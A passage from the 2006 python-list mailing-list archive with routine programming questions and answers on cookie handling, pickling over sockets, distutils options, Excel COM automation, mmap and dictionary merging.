attribute values of objects stored in the > database and I do not want to manually change the way of DB access in > those files. I rather prefer a centralized way to achieve this. > > Good inputs are always appreciated. > :-) > Raja From ldo at geek-central.gen.new_zealand Fri Oct 6 06:29:32 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Fri, 06 Oct 2006 23:29:32 +1300 Subject: Automatic import PEP References: Message-ID: In message , Robert Kern wrote: > Lawrence D'Oliveiro wrote: >> In message , >> Connelly Barnes wrote: >> >>> The main point of autoimp is to make usage of the interactive Python >>> prompt more productive by including "from autoimp import *" in the >>> PYTHONSTARTUP file. >> >> The main problem I have with your idea is that any kind of import >> statement with wildcards in it automatically starts my bogosity meter >> flashing its "RED ALERT" sign and clanging all its alarm bells. > > "from ... import *" was *designed* for interactive use, which is exactly > what Connelly is suggesting. It's not a bad thing in that context. But there is nothing in the language that constrains its use to that context, is there? Clang, clang... From jjl at pobox.com Sat Oct 14 10:54:21 2006 From: jjl at pobox.com (John J. Lee) Date: Sat, 14 Oct 2006 14:54:21 GMT Subject: How to share session with IE References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com> <1160480177.704013.37770@k70g2000cwa.googlegroups.com> Message-ID: <871wpbrlr6.fsf@pobox.com> Cameron Walsh writes: [...] > Another option instead of making your program run through a series of > clicks and text inputs, which is difficult to program, is to browse > the html source until you find the name of the script that processes > the login, and use python to request the page with the necessary form > fields encoded in the request. Request something like > http://www.targetsite.com/login.cgi?username=pyuser&password="fhqwhgads" > This format is not guaranteed to work, since the login script or > server might only support one of GET and POST. If this is the case, > creating the request is slightly more involved and to be honest I > haven't looked into how to do it. Absolutely, that's often a great way to do things, since it's very simple, and is not in conflict with handling cookies (where that's required). (But of course if you need to handle cookies, you still need to arrange to actually handle the cookies somewhere.) > Thereafter, you will have to pass the environment to every page > request so the server can read the cookie. Which brings me to > question whether or not it is possible to do this manually once, > export the environment variable to a file, and reload this file each > time the program is run. Or to generate the cookie in the environment > yourself. [...] Standard library module cookielib (or mechanize, which is not part of the stdlib, and does some more stuff automatically and provides some extra features for page navigation and form handling) does all this automatically: http://docs.python.org/lib/cookielib-examples.html import cookielib, urllib2 cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) r = opener.open("http://example.com/") For loading and saving (including Firefox support): http://docs.python.org/lib/file-cookie-jar-classes.html http://docs.python.org/lib/cookie-jar-objects.html For loading IE cookies, use mechanize. http://wwwsearch.sourceforge.net/mechanize/ John From no at spam.com Mon Oct 23 09:28:57 2006 From: no at spam.com (Mike Krell) Date: Mon, 23 Oct 2006 08:28:57 -0500 Subject: Problems trying to override __str__ on path class References: Message-ID: Peter Otten <__peter__ at web.de> wrote in news:ehhund$1fi$00$1 at news.t-online.com: > > So my assumption was that you are using a pre-2.1 version of path. > I suggest that you double-check that by inserting a > > print path.__version__ > > into the code showing the odd behaviour before you start looking for > more exotic causes. Alas, the print statement says "2.1". So there's a definite platform / environment difference here, but that isn't it. > For delegation to work you need (untested) > > class NormPath(object): > def __div__(self, other): > return self.__class__(self._path / other) > # ... I see. The base class implementation is throwing up its hands at the unknown type NormPath. One needs to substitute the parameter in every case where the base class implementation is called. That kind of kills the attractiveness of the technique for new style classes, unless a way could be done to do it programatically instead of explicitly for each method. Of course, if I could get the simple override to work, the need to do this would disappear. Mike From steve at holdenweb.com Sun Oct 22 03:56:54 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 22 Oct 2006 08:56:54 +0100 Subject: A Comparison Of Dynamic and Static Languiges In-Reply-To: <1161474350.522418.13440@i42g2000cwa.googlegroups.com> References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com> <1161474350.522418.13440@i42g2000cwa.googlegroups.com> Message-ID: sturlamolden wrote: > Gerrit Holl wrote: > > >>This newsgroup is mirrored by a mailing-list, so many people use their real >>address. The solution to spam is spamfiltering (spambayes), not hiding ones >>address on the internet. > > > The answer to spam here in Norway is incredibly simple. It seems that > all spam originates in the US or South Korea. The following filter can > thus be applied: > > 1. Create a white-list of all valid contacts in the US. > (There is no need to create a white list for Korea, as it will be empty > anyway.) > > 2. Do a reverse nslookup of the sender on zz.countries.nerd.dk. If the > return value is 127.0.3.72 or 127.0.1.154, and the sender is not in the > whitelist, flag the mail as spam. > > 3. Accept all other mail. > > Do you think spambayes can beat this filter? > Since network 127 is reserved in its entirety for loopback (local process) use, it would seem that any DNS name that maps to an address in that space with the single exception of "localhost" should be treated as a spammer. If you only receive spam from the USA and Korea then consider yourself lucky. Your "solution" is simplistic beyond belief. Are you *sure* you know in advance all potential senders from the USA? I'm (currently) in the UK, but sending via a .com domain that operated through a server in the USA. Where am I "from". I suspect your posting may have been a troll. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From piet at cs.uu.nl Fri Oct 13 05:34:06 2006 From: piet at cs.uu.nl (Piet van Oostrum) Date: Fri, 13 Oct 2006 11:34:06 +0200 Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: >>>>> Fredrik Lundh (FL) wrote: >FL> Piet van Oostrum wrote: >>> The official Python documentation (language reference manual) talks a lot >>> about variables. So it seems silly to say that Python doesn't have >>> variables. >FL> the language reference mostly uses the term "variables" when discussing >FL> local variables and instance variables, and is (usually) careful to talk >FL> about "names" when talking about binding behaviour. Mostly yes, but not exclusively. E.g. If a name is bound in a block, it is a local variable of that block. If a name is bound at the module level, it is a global variable. (The variables of the module code block are local and global.) If a variable is used in a code block but not defined there, it is a free variable. There are also other uses of variable for things at the module level. And the word `variable(s)' occurs 80 times in the language reference manual. >FL> for example, the description of the assignment statement: >FL> http://www.python.org/doc/2.4.3/ref/assignment.html >FL> only uses "variable" twice, in a note that discussing a given code >FL> example. the more formal parts of that page consistently use the term >FL> "name". >FL> it's often a good idea to be a bit careful when discussing detailed >FL> behaviour, especially in contexts where the audience may associate >FL> variables with "small areas of memory". It is interesting that the word 'variable' is nowhere defined in the manual. What one imagines with the word `variable' depends on one's programming background, I guess, and that could certainly give a wrong impression. -- Piet van Oostrum URL: http://www.cs.uu.nl/~piet [PGP 8DAE142BE17999C4] Private email: piet at vanoostrum.org From antroy at gmail.com Wed Oct 11 05:10:38 2006 From: antroy at gmail.com (Ant) Date: 11 Oct 2006 02:10:38 -0700 Subject: Converting MSWord Docs to PDF In-Reply-To: References: <4524431F@webmail.azwestern.edu> Message-ID: <1160557838.143189.117730@c28g2000cwb.googlegroups.com> Theerasak Photha wrote: > On 10/11/06, melv at awc.edu wrote: ... > (La)TeX is the king of document processing, and does PDF. Except that the OP want's to print Word documents as PDF. LaTeX is good, granted, but just try converting LaTeX documents to Word or vice versa... And if you want a good laugh, try telling a manager to write all his documentation in LaTeX. :-) From aisaac0 at verizon.net Wed Oct 4 12:02:56 2006 From: aisaac0 at verizon.net (David Isaac) Date: Wed, 04 Oct 2006 16:02:56 GMT Subject: item access time: sets v. lists Message-ID: Is it expected for access to set elements to be much slower than access to list elements? Explanation? Thanks, Alan Isaac >>> t1=timeit.Timer("for i in set(xrange(10000)):pass","") >>> t2=timeit.Timer("for i in list(xrange(10000)):pass","") >>> t1.timeit(1000) 9.806250235714316 >>> t2.timeit(1000) 3.9823075279120701 From ralmeida at gmail.com Wed Oct 18 12:33:12 2006 From: ralmeida at gmail.com (Rob De Almeida) Date: 18 Oct 2006 09:33:12 -0700 Subject: Dictionaries References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> <1161188023.121408.194870@m7g2000cwm.googlegroups.com> Message-ID: <1161189192.589870.40070@k70g2000cwa.googlegroups.com> Lad wrote: > Let's suppose I have > > a={'c':1,'d':2} > b={'c':2} > but > a.update(b) > will make > {'c': 2, 'd': 2} > > and I would need > {'c': 3, 'd': 2} > > (because `c` is 1 in `a` dictionary and `c` is 2 in `b` dictionary, so > 1+2=3) > > How can be done that? dict([(k, a.get(k, 0) + b.get(k,0)) for k in set(a.keys() + b.keys())]) From robert.kern at gmail.com Wed Oct 18 12:47:29 2006 From: robert.kern at gmail.com (Robert Kern) Date: Wed, 18 Oct 2006 11:47:29 -0500 Subject: portable extensions options for external libraries In-Reply-To: <1161169059.597192.43430@k70g2000cwa.googlegroups.com> References: <1161169059.597192.43430@k70g2000cwa.googlegroups.com> Message-ID: Alexandre Guimond wrote: > so my question is: what is the right way of specifying extensions > options (include_dirs, libraries, library_dirs) so that they are > portable between windows and linux? i'm thinking environment variables. The user can already use command-line options and CFLAGS if he so desires, so I wouldn't add any new environment variables. $ CFLAGS=-I/opt/local/include python setup.py build_ext -L/opt/local/lib > Though fairly easy to do, i was wondering if python/distutils provided > something more convenient, like searching through "common" directories, > though those aren't very standard on windows? distutils wouldn't do any searching at all. Your compiler will, though. > Optimally, i would like > to have something like: > > imaging = Extension( 'pyag.imaging._imaging', > sources = ( glob.glob( > 'Source/pyag/imaging/Src/*.cpp' ) + > glob.glob( > 'Source/pyag/imaging/Src/*.h' ) ), > include_dirs = ( get_numpy_include_dirs() + > [ 'Source/pyag/imaging/Src/' ] + > boost_include_dirs + > gsl_include_dirs ), > library_dirs = boost_library_dirs + > gsl_library_dirs, > libraries = boost_libraries + gsl_libraries ) That's pretty much how everyone else does it. Just make sure that boost_{include,library}_dirs and gsl_{include,library}_dirs are defined near the top of the file with suitable comments to draw attention to them. However, I might suggest making a setup.cfg with something like the following section (unindented): # Uncomment and modify the following section to configure the locations of the # Boost and GSL headers and libraries. #[build_ext] #include-dirs=/opt/local/include,/usr/local/include #library-dirs=/opt/local/lib,/usr/local/lib Changing data in a data file feels better to me than changing data in a program for some reason. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From erikwickstrom at gmail.com Tue Oct 3 18:10:03 2006 From: erikwickstrom at gmail.com (erikwickstrom at gmail.com) Date: 3 Oct 2006 15:10:03 -0700 Subject: Can't get around "IndexError: list index out of range" Message-ID: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> Hi all, I'm sorry about the newbie question, but I've been searching all afternoon and can't find the answer! I'm trying to get this bit of code to work without triggering the IndexError. import shutil, os, sys if sys.argv[1] != None: ver = sys.argv[1] else: ver = '2.14' Of course, whenever I run it, I get list index out of range. I'm coming from the php world where I can do: if $_GET['var'] != Null { $ver = $_GET['var']; } else { $ver = '2.14'; } Can anyone tell me how to make this work in python? Thanks! Erik From ldo at geek-central.gen.new_zealand Fri Oct 6 06:33:28 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Fri, 06 Oct 2006 23:33:28 +1300 Subject: Recursive descent algorithm able to parse Python? References: <1159471326.663651.110690@h48g2000cwc.googlegroups.com> <4o2ugcFcm4npU1@uni-berlin.de> <4o47o7Fcu386U1@uni-berlin.de> Message-ID: In message <4o47o7Fcu386U1 at uni-berlin.de>, Diez B. Roggisch wrote: > I have to admit that I have difficulties to compare LR(k) to recursive > descent, but the fact that the latter contains backtracking makes it at > least more powerful than LL(k) LR(k) is more powerful than LL(k). From fredrik at pythonware.com Wed Oct 18 09:42:13 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 15:42:13 +0200 Subject: Image.draft -- what are the modes that I can use? References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com> Message-ID: "abcd" wrote: >I have PIL 1.1.5 on python 2.4.1 and I am attempting to get a smaller > (file size) of an image. > > for example: > im = ImageGrab.grab() > > im.save("tmp.gif") ---- about 1.7mb > im.save("tmp.jpeg") ---- about 290kb > > anyways I want to save the image as a GIF, but not have it be so > large....so I thought that the Image.draft method would be what I > wanted.... GIF is horribly unsuitable for screenshots on modern machines. have you considered using PNG ? or even better, Flash? here's a tool that lets you use VNC to capture the screen, and then convert the result to a flash animation: http://www.unixuser.org/~euske/vnc2swf/ > im.draft(mode, size) > > Configures the image file loader so it returns a version of the image > that as closely as possible matches the given mode and size. For > example, you can use this method to convert a colour JPEG to greyscale > while loading it, or to extract a 128x192 version from a PCD file. note the use of the words "loader" and "loading". draft is used to speed things up when loading images, not compress things when storing them. From wescpy at gmail.com Wed Oct 11 15:07:20 2006 From: wescpy at gmail.com (wesley chun) Date: Wed, 11 Oct 2006 12:07:20 -0700 Subject: Adding Worksheets to an Excel Workbook Message-ID: <78b3a9580610111207h75f521b4h318f3117a6fa9ab6@mail.gmail.com> > From: e.h.doxtator at accenture.com > Date: Tues, Oct 10 2006 2:08 pm > > I'm a Python newbie, and I'm just getting to the wonders of COM > programming. welcome to Python!! i too, have (recently) been interested in COM programming, so much so that i added some material on Microsoft Office (Win32 COM Client) Programming to the 2nd ed of my book, "Core Python Programming" (see link below). it's only introductory material, but i think you may find it useful as i have, and shows you how to create simple applications for Excel, Word, PowerPoint, and Outlook. in addition to greg's code snippet, here's a snippet based on one from the book (the code is under a CC license) -- it doesn't add a new sheet, but does let you grab the "active" one (the one that is tabbed and facing the user): # based on excel.pyw in Core Python Programming, 2nd ed from time import sleep import win32com.client as win32 def excel(): xl = win32.gencache.EnsureDispatch('Excel.Application') ss = xl.Workbooks.Add() # add a new spreadsheet/workbook sh = ss.ActiveSheet # grab the active sheet of the workbook xl.Visible = True # make Excel show up on the desktop sleep(1) sh.Cells(1,1).Value = 'Python-to-Excel Demo' sleep(1) for i in range(3, 8): sh.Cells(i,1).Value = 'Line %d' % i sleep(1) sh.Cells(i+2,1).Value = "Th-th-th-that's all folks!" sleep(5) ss.Close(False) # close the workbook and don't save xl.Application.Quit() # quit Excel if __name__=='__main__': excel() hope this helps! -wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall, (c)2007,2001 http://corepython.com wesley.j.chun :: wescpy-at-gmail.com python training and technical consulting cyberweb.consulting : silicon valley, ca http://cyberwebconsulting.com From fredrik at pythonware.com Sun Oct 8 14:58:38 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 08 Oct 2006 20:58:38 +0200 Subject: print time comparison: IDLE versus terminal on ultra 20 In-Reply-To: <1160332865.902895.315470@e3g2000cwe.googlegroups.com> References: <1160332865.902895.315470@e3g2000cwe.googlegroups.com> Message-ID: sam wrote: > in IDLE: > 4.433 seconds IDLE is designed for tinkering, not fast handling of non-trivial amounts of output (it runs your program in a separate process and pipes data to the interactive window over the network. and the interactive seems to be redrawing the display for every line that arrives...) but on the other hand, IDLE runs your sample script in less than 0.5 seconds on my cheap Windows box. complain to Sun ;-) From martin at v.loewis.de Sun Oct 8 16:59:14 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 08 Oct 2006 22:59:14 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <1160172267.566568.79030@m7g2000cwm.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160172267.566568.79030@m7g2000cwm.googlegroups.com> Message-ID: <452966A2.1090107@v.loewis.de> Paul Boddie schrieb: >> When SF is down, people sometimes send tracker items to >> the pydev list instead, when means someone else (who?) has to put in the >> tracker or it gets lost. > > According to Harald Armin Massa's PostgreSQL talk at EuroPython, the > PostgreSQL people manage all their bugs via mailing lists. Given that > trends in revision control point towards completely decentralised > solutions, I wonder whether there's anything to learn from less > centralised (or more flexible) approaches to bug management. >From my experience with GCC, I can only report that this is definitely not working. There used to be a mailing list bugs at gcc.gnu.org, and reports got either answered immediately, or not at all. People who thought they were responsible put the mails in some folder, and then never found the time to come back. This is why I set up a bug tracker for GCC. Regards, Martin From davidh at ilm.com Fri Oct 13 13:58:09 2006 From: davidh at ilm.com (David Hirschfield) Date: Fri, 13 Oct 2006 10:58:09 -0700 Subject: Sending binary pickled data through TCP In-Reply-To: References: <452EEEF1.6030606@ilm.com> Message-ID: <452FD3B1.9060306@ilm.com> Thanks for the great response. Yeah, by "safe" I mean that it's all happening on an intranet with no chance of malicious individuals getting access to the stream of data. The chunks are arbitrary collections of python objects. I'm wrapping them up a little, but I don't know much about the actual formal makeup of the data, other than it pickles successfully. Are there any existing python modules that do the equivalent of pickling on arbitrary python data, but do it a lot faster? I wasn't aware of any that are as easy to use as pickle, or don't require implementing them myself, which is not something I have time for. Thanks again, -Dave Steve Holden wrote: > David Hirschfield wrote: > >> I have a pair of programs which trade python data back and forth by >> pickling up lists of objects on one side (using >> pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket >> connection to the receiver, who unpickles the data and uses it. >> >> So far this has been working fine, but I now need a way of separating >> multiple chunks of pickled binary data in the stream being sent back and >> forth. >> >> Questions: >> >> Is it safe to do what I'm doing? I didn't think there was anything >> fundamentally wrong with sending binary pickled data, especially in the >> closed, safe environment these programs operate under...but maybe I'm >> making a poor assumption? >> >> > If there's no chance of malevolent attackers modifying the data stream > then you can safely ignore the otherwise dire consequences of unpickling > arbitrary chunks of data. > > >> I was going to separate the chunks of pickled data with some well-formed >> string, but couldn't that string potentially randomly appear in the >> pickled data? Do I just pick an extremely >> unlikely-to-be-randomly-generated string as the separator? Is there some >> string that will definitely NEVER show up in pickled binary data? >> >> > I presumed each chunk was of a know structure. Couldn't you just lead of > with a pickled integer saying how many chunks follow? > > >> I thought about base64 encoding the data, and then decoding on the >> opposite side (like what xmlrpclib does), but that turns out to be a >> very expensive operation, which I want to avoid, speed is of the essence >> in this situation. >> >> > Yes, base64 stuffs three bytes into four (six bits per byte) giving you > a 33% overhead. Having said that, pickle isn't all that efficient a > representation because it's designed to be portable. If you are using > machines of the same type there are almost certainly faster binary > encodings. > > >> Is there a reliable way to determine the byte count of some pickled >> binary data? Can I rely on len() == bytes? >> >> > Yes, since pickle returns a string of bytes, not a Unicode object. > > If bandwidth really is becoming a limitation you might want to consider > uses of the struct module to represent things more compactly (but this > may be too difficult if the objects being exchanged are at all complex). > > regards > Steve > -- Presenting: mediocre nebula. -------------- next part -------------- An HTML attachment was scrubbed... URL: From sturlamolden at yahoo.no Mon Oct 23 20:51:43 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 23 Oct 2006 17:51:43 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> Message-ID: <1161651103.875210.170140@i42g2000cwa.googlegroups.com> myeates at jpl.nasa.gov wrote: > Hi > Anyone ever done this? It looks like Python2.4 won't take a length arg > > 2 Gig since its not seen as an int. Looking at Python's source (mmapmodule.c), it seems that "mmap.mmap" always sets the offset argument in Windows MapViewOfFile and UNIX to 0. This means that it is always mapping from the beginning of the file. Thus, Python's mmap module is useless for large files. This is really bad coding. The one that wrote mmapmodule.c didn't consider the posibility that a 64 bit file system like NTFS can harbour files to large to fit in a 32 address space. Thus, mmapmodule.c needs to be fixed before it can be used for large files. From fredrik at pythonware.com Wed Oct 18 07:24:23 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 13:24:23 +0200 Subject: making a valid file name... References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com> Message-ID: Matthew Warren wrote: >>> import re >>> badfilename='?"%^"?^"?$^ihgeroighroeig3645^?$^"knovin98u4#346#1461461' >>> valid=':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ' >>> goodfilename=re.sub('[^'+valid+']',' ',badfilename) to create arbitrary character sets, it's usually best to run the character string through re.escape() before passing it to the RE engine. From http Wed Oct 11 16:53:53 2006 From: http (Paul Rubin) Date: 11 Oct 2006 13:53:53 -0700 Subject: Standard Forth versus Python: a case study References: Message-ID: <7x3b9u376m.fsf@ruckus.brouhaha.com> John Doty writes: > I have a bunch of image files in FITS format. For each raster row in > each file, I need to determine the median pixel value and subtract it > from all of the pixels in that row, and then write out the results as > new FITS files. I dunno what FITS is, but if you have a list of pixel values, that calculation sounds like two lines: median = sorted(pixels)[len(pixels)//2] new_pixels = [p-median for p in pixels] From paddy3118 at netscape.net Wed Oct 18 23:53:53 2006 From: paddy3118 at netscape.net (Paddy) Date: 18 Oct 2006 20:53:53 -0700 Subject: How to use python in TestMaker In-Reply-To: <1161225253.111034.4730@f16g2000cwb.googlegroups.com> References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com> Message-ID: <1161230033.664197.305060@b28g2000cwb.googlegroups.com> kelin,zzf818 at gmail.com wrote: > Hello, > > Now I 'm learning python to do testing jobs, and want to use it in > TestMaker. > The problem is: I don't know how to use python in TestMaker. > Just write python program in it or call .py files in it? > I am really new about it and need some help. > > Thanks a lot! What/where is TestMaker? From eric_brunel at despammed.com Tue Oct 3 03:39:09 2006 From: eric_brunel at despammed.com (Eric Brunel) Date: Tue, 03 Oct 2006 09:39:09 +0200 Subject: VIdeo Converence Software: Tk and thread synchronization References: Message-ID: On Mon, 02 Oct 2006 14:42:15 +0200, Paolo Pantaleo wrote: > Hi, > > I am going on writing my video conference software. I wrote the video > grab, code/decode, and netwoark (multicast) transport. > > I have one thread doing this: > > [thread 1] > while True: > for some times: > my_socket.recv() #blocking here > store data > compute image #here we have a complete new image to display > > Now, I was thinking to display the image in a Tk window. But I think > i will need a separate thread to run the mainloop() [thread 2], right? I don't know if tk likes to be run in anything else than the main thread; never tested it. If you can use the main thread for tk, you'll probably have far less problems. > How can I signale to the Tk thread that a new image is ready to be > shown? I was thinkin on using an event generated for the first > (network) thread. But I don't know how to do it exactly. Any > suggestion, please? Quite simple: in the tk thread, do: widget.bind('<>', command) Then in the secondary thread, do: widget.event_generate('<>', when='tail') '<>' can be anything, as long as you surround it with << & >> (these are custom events in tk). Don't forget to put the when='tail' in the event_generate call, or your binding may get called immediatly in the current thread. > What if I access to Tk object form thread 1, is Tk thread safe? General answer: no, it isn't. The only thing that seems to work everytime on tk widgets from secondary threads is generating events as above. If you try to do anything else, you may experience deadlocks or even crashes. HTH -- python -c "print ''.join([chr(154 - ord(c)) for c in 'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])" From no at spam.com Fri Oct 27 18:56:51 2006 From: no at spam.com (Farshid Lashkari) Date: Fri, 27 Oct 2006 15:56:51 -0700 Subject: What is the cleanest way to for a module to access objects from the script that imports it? In-Reply-To: <1161989298.748298.143190@e3g2000cwe.googlegroups.com> References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> <1161989298.748298.143190@e3g2000cwe.googlegroups.com> Message-ID: noamsml at gmail.com wrote: > Wouldn't importing and re-importing the same modules cause considerable > resource bulk? Or does python cache that stuff? If a module is already imported, then the import statement just uses the cached module. However, you can force a full reload of the module using the following syntax: reload(mymodule) -Farshid From hanumizzle at gmail.com Fri Oct 6 23:02:44 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 23:02:44 -0400 Subject: [Linux] Detect a key press In-Reply-To: References: <1160109947.304308.83910@i3g2000cwc.googlegroups.com> Message-ID: <463ff4860610062002i53ad6d0en9e8ac215803ea813@mail.gmail.com> On 10/6/06, Sergei Organov wrote: > Try > > print "->%s\r" % ch > > or just > > sys.stdout.write(ch) Ah! From fredrik at pythonware.com Sat Oct 28 03:28:06 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 28 Oct 2006 09:28:06 +0200 Subject: Restricting import file lookup for pyd, dll, ... In-Reply-To: References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com> <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar> Message-ID: Magnus Lycka wrote: >> That's because I'm using Python through another application, via the >> pywin32 extensions. When that other application starts, it performs >> several thousands of file requests (we're talking 4,500, roughly) in >> the Python installation, locations where there are Python files, and >> in some other locations that don't make sense. This adds considerable >> time to the startup time of the application, we're talking between 2 >> and 9 seconds. > > Sounds like a broken (networked?) file system. The only time I've > had that kind of problems with python startup is when I've had really > slow anti-virus programs that scanned all the files I opened. But then > it wasn't file requests that mattered, but actually opening them... > It still wasn't anywhere near 9 seconds though... if anyone finds out more about this issue, feel free to add a note to this FAQ entry: http://www.effbot.org/pyfaq/why-does-python-sometimes-take-so-long-to-start.htm From steve at holdenweb.com Sat Oct 7 03:29:40 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 07 Oct 2006 08:29:40 +0100 Subject: How to execute a python script in .NET application In-Reply-To: <1160175618.029261.43440@i3g2000cwc.googlegroups.com> References: <1160175618.029261.43440@i3g2000cwc.googlegroups.com> Message-ID: Chandra wrote: > Hi, > > Is there a way to execute a python script(file) in ASP.NET application > (programmatically)?? > Probably use IronPython, I should think. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From joshbloom at gmail.com Tue Oct 3 18:45:07 2006 From: joshbloom at gmail.com (Josh Bloom) Date: Tue, 3 Oct 2006 15:45:07 -0700 Subject: python html rendering In-Reply-To: References: Message-ID: Hey Pierre, I'm using this plug-in for wordpress to display Python code. http://blog.igeek.info/wp-plugins/igsyntax-hiliter/ It works pretty well and can display a lot of other languages as well. -Josh On 10/3/06, Pierre Imbaud wrote: > > Hi, Im looking for a way to display some python code > in html: with correct indentation, possibly syntax hiliting, dealing > correctly with multi-line comment, and... generating valid html code if > the python code itself deals with html (hence manipulates tag litterals. > Thanks for your help! > > -- > http://mail.python.org/mailman/listinfo/python-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: From Hakusa at gmail.com Mon Oct 23 02:43:57 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 22 Oct 2006 23:43:57 -0700 Subject: Arrays? (Or lists if you prefer) In-Reply-To: References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> Message-ID: <1161585837.292211.233680@i42g2000cwa.googlegroups.com> Niel Cerutti wrote: >Just build it up bit by bit, or build it all at once >using range() and then fill it in afterwards. > >>> b =[range(2), range(2)] > >>> b > [0, 1], [0, 1]] > >>> b[0][1] = "OK." > >>> b > [0, 'OK.'], [0, 1]] Interesting. Could I do . . . let's say b = [range(range(3)] for a three-dimensional array? Paul McGuire wrote: > As an example of using pyparsing, I chose a simple text adventure > application, and had to create a 2-D grid of rooms. The presentation > materials are online at http://www.python.org/pycon/2006/papers/4/, and the > source code is included with the examples that ship with pyparsing I read your entire thing, but how much stuck is a testimate to how much I have yet to learn. Also, I didn't see the source code or downoad or anything there. Where is it again? Thanks for the responces. From maxime_phan at hotmail.com Fri Oct 20 04:35:01 2006 From: maxime_phan at hotmail.com (maxime_phan at hotmail.com) Date: 20 Oct 2006 01:35:01 -0700 Subject: new multiplayer game (made with pygame) platform Message-ID: <1161333300.868404.158150@e3g2000cwe.googlegroups.com> hello we would like to make you discover a new and free multiplayer game platform: GameLAN. All game are made with pygame, we have 3 multiplayer games now (Tetris like game, Heroic fantaisy tactic game and gomoku game). We invite you on the 22th of October at 4pm (Paris Time) to discover this platform.So get ready to play and see you on sunday on our GameLAN games servers! website: http://www.gamelan-project.com From http Wed Oct 4 11:30:19 2006 From: http (Paul Rubin) Date: 04 Oct 2006 08:30:19 -0700 Subject: PEP 358 and operations on bytes References: <1159931141.342507.108260@e3g2000cwe.googlegroups.com> <1159974809.492898.253490@i42g2000cwa.googlegroups.com> Message-ID: <7xejtojdys.fsf@ruckus.brouhaha.com> "John Machin" writes: > So why haven't you been campaigning for regular expression support for > sequences of int, and for various array.array subtypes? regexps work on byte arrays. From holly.woodland at gmail.com Thu Oct 19 06:10:55 2006 From: holly.woodland at gmail.com (Holly) Date: 19 Oct 2006 03:10:55 -0700 Subject: Python wrapper for C++ core In-Reply-To: <1161153430.166027.301810@m73g2000cwd.googlegroups.com> References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com> <1161153430.166027.301810@m73g2000cwd.googlegroups.com> Message-ID: <1161252654.989703.301750@i3g2000cwc.googlegroups.com> Thanks everyone for the responses - I think I have a better understanding now. I can handle all the messy I/O in Python and use C for the number crunching. I especially like the idea of using python to output the results to excel. OK time to learn Python i think - any tips on best place to start (tutorials/documentation etc). I have a pretty comprehensive background in C/C++/Java and a bit of experience some other scripting languages so its really a matter of syntax/libraries rather than programming theory/constructs >> see "fluid sim" and "games dev" in the same post, which kind of makes >>me scratch my head. What would you need fluid sim for in a game? sorry i was just listing places I had seem people waxing lyrical on the benefits of python. I am not doing games development - I have just heard lots of games developers saying they use python Thanks again for all the help! Holly From ptmcg at austin.rr._bogus_.com Sun Oct 29 14:01:33 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Sun, 29 Oct 2006 19:01:33 GMT Subject: logo design - BZZZT! OT! References: <1162103065.460796.303660@f16g2000cwb.googlegroups.com> Message-ID: "Xah Lee" wrote in message news:1162103065.460796.303660 at f16g2000cwb.googlegroups.com... ... Again: the primary purpose of this message, is to beseach that the power-that-be of lispers, seriously think about getting themselves a official logo. Thanks. Does the "power-that-be of lispers" spend much time on c.l.py? Even though Python is mentioned in passing in this post, it really doesn't need to be cross-posted here. -- Paul From fredrik at pythonware.com Fri Oct 20 04:03:49 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 10:03:49 +0200 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: "Brad" wrote: > Do you have children? How would your child feel if he brought you > something he had made and you then told him it was awful in *sooo* many > ways. If you're arguing that everything a child does and says should be rewarded, I seriously doubt that you have any. (on the other hand, I didn't even have to tell my 3-year old that cutting the whiskers off the kitten wasn't quite as clever as he had thought; he realized that all by himself, but a bit too late for the poor animal...) From steve at holdenweb.com Mon Oct 23 15:34:20 